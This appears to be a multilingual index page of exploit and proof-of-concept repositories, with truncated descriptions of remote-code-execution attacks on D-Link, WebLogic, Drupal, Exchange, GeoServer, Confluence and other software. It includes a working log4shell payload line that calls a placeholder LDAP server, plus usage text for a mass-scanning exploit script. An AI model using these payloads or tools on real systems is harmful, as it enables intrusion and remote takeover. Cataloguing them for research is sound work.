CVE-2024-3273-D-Link-Remote-Code-Execution-RCE

CVE-2024-3273 - Exploit per Esecuzione di Codice Remoto RCE su D-Link Descrizione Questo repository contiene un exploit per CVE-2024-3273 , una vulnerabilità critica trovata in specifici dispositivi D-Link che consente l'esecuzione di codice remoto RCE. La vulnerabilità deriva da una convalida...

CVE-2025-58434-59528-htb-ctf

CVE-2025-58434-59528-htb-ctf Silentium Exploit Chain Questa repository contiene la catena di sfruttamento completa per la macchina Silentium su Hack The Box. L'exploit sfrutta una vulnerabilità a due stadi che coinvolge l'enumerazione degli utenti e l'iniezione JavaScript per ottenere Remote Code...

CVE-2021-2109

Beschreibung Sicherheitslücke im Oracle WebLogic Server-Produkt von Oracle Fusion Middleware Komponente: Console. Die betroffenen unterstützten Versionen sind 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0 und 14.1.1.0.0. Eine leicht ausnutzbare Sicherheitslücke ermöglicht einem hochprivilegierte...

CVE-2026-9082

CVE-2026-9082 Iniezione SQL non autenticata in Drupal Core su PostgreSQL tramite POST /user/login, escalata a esecuzione remota di codice attraverso sessionpreloadlibraries di PostgreSQL. A differenza degli exploit pubblici esistenti che prendono di mira JSON:API, questo utilizza l'endpoint di...

CVE-2025-32433

CVE-2025-32433 Einleitung Dieses Dokument stellt die Untersuchung der Schwachstelle CVE-2025-32433 dar, die die Implementierung des integrierten SSH-Servers in der Plattform Erlang/OTP betrifft. Diese Schwachstelle ermöglicht die Remote-Ausführung von beliebigem Code Remote Code Execution, RCE oh...

WonderCMS-4.3.2-XSS-to-RCE-Exploits-CVE-2023-41425

WonderCMS 4.3.2 Exploit XSS verso RCE Panoramica Questi script sfruttano una vulnerabilità XSS Cross-Site Scripting in WonderCMS 4.3.2 per ottenere Esecuzione Remota di Codice RCE. Il payload XSS, quando innescato dall'amministratore, installa automaticamente una reverse shell sul server target...

CVE-2020-2883

Was ist das? Dieses Projekt, das auf weblogiccmd basiert, ist ein PoC für CVE-2020-2883. Zwei Gadgets Erstes: root@kitploit: ObjectInputStream.readObject PriorityQueue.readObject PriorityQueue.heapify PriorityQueue.siftDown siftDownUsingComparator...

CVE-2017-8464-EXP

CVE-2017-8464-EXP Supporto x86 e x64 Solo per test File Lnk da: https://github.com/rapid7/metasploit-framework/pull/8767 Grazie a ykoster Piccola modifica, sostituito il file dll, risolto il bug di crash di explorer.exe. ykoster ha risolto questo bug POC: x86: x64: Se puoi determinare l'unità USB...

CVE-2020-0688

CVE-2020-0688 CVE-2020-0688Microsoft Exchange vulnerabilità di deserializzazione di default MachineKeySection Istruzioni di installazione: Scarica usando git Richiede git: git clone https://github.com/7heKnight/CVE-2020-0688 Scarica il file zip:...

CVE-2024-46256

Analisi della vulnerabilità RCE CVE-2024-46256 in Nginx Proxy Manager Configurazione dell'ambiente 1. Avvio dell'ambiente Nginx Proxy Manager 2.11.3 root@kitploit: docker-compose up -d Oppure è possibile utilizzare lo script automatico: root@kitploit: python setupenvironment.py 2. Accesso a Nginx...

CVE-2024-32113-Exploit

CVE-2024-32113 Exploit Apache-OFBiz-Exploit: Path Traversal zu RCE. Beschreibung CVE-2024-32113 ist eine Path-Traversal-Schwachstelle, die in Apache OFBiz zu Remote Code Execution RCE führt. Schwachstelle : Schwachstelle durch unzureichende Begrenzung eines Pfadnamens auf ein eingeschränktes...

CVE-2021-21974

CVE-2021-21974 Prova de Conceito PoC de execução remota de código por estouro de heap no OpenSLP do VMware ESXi Autor: Aiyakami Visão Geral CVE-2021-21974 é uma vulnerabilidade de estouro de heap no serviço OpenSLP do VMware ESXi, que permite a um atacante não autenticado enviar pacotes...

CVE-2024-36401

CVE-2024-36401: Esecuzione Remota di Codice Non Autenticata su GeoServer Exploiter – uno strumento di rilevamento e sfruttamento delle vulnerabilità per l'esecuzione remota di codice non autenticata su GeoServer CVE-2024-36401. Installazione root@kitploit: git clone...

exploit-CVE-2017-7494

Exploit SambaCry RCE per Samba 4.5.9 Samba è un software libero che reimplementa il protocollo di rete SMB/CIFS. Samba fornisce servizi di file e stampa per vari client Microsoft Windows e può integrarsi con un dominio Microsoft Windows Server, sia come Domain Controller DC che come membro del...

POC_CVE-2026-42589

POCCVE-2026-42589 Laboratório de reprodução local e rascunho de template do nuclei para CVE-2026-42589 que afeta o Gotenberg. Resumo A CVE-2026-42589 é um problema de execução remota de código não autenticada no Gotenberg causado por injeção de nova linha na chave de metadados em: root@kitploit:...

CVE-2017-17485

CVE-2017-17485 CVE-2017-17485:Jackson-databind RCE...

log4shell_lab

Laboratorio di exploit log4shell Questo repository è una configurazione a riga singola per il laboratorio di exploit log4shell. Configura il laboratorio: docker-compose up -d Esegui l'exploit: curl -X GET http://localhost:8080/ -H "X-Api-Version: $jndi:ldap://myldapserver:1389/a" Poi vai al...

unomi_exploit

Haftungsausschluss Die hier bereitgestellten Methoden zur Schwachstellenerkennung, Dateien und andere Inhalte sind ausschließlich für Sicherheitsexperten bestimmt, die über eine rechtliche Genehmigung verfügen, und dienen dazu, die Sicherheit von autorisierten Servern zu testen. Sicherheitsexpert...

CVE-2023-22527

Non sono responsabile per alcun attacco illegale CVE-2023-22527 Script di scansione di massa aiuto root@kitploit: usage: python3 CVE-2023-22527.py -u -f -c options: -h, --help show this help message and exit -u TARGET, --target TARGET Target URL -f FILE, --file FILE URL file -c CMD, --cmd CMD...

CVE-2019-3980

CVE-2019-3980 CVE-2019-3980 exploit escrito em win32/c++ dependência openssl. Porte de https://github.com/tenable/poc/blob/master/Solarwinds/Dameware/dwrcsdwDrvInstrce.py Instruções Este PoC requer bibliotecas openssl ligadas estaticamente. Coloque os includes do openssl em...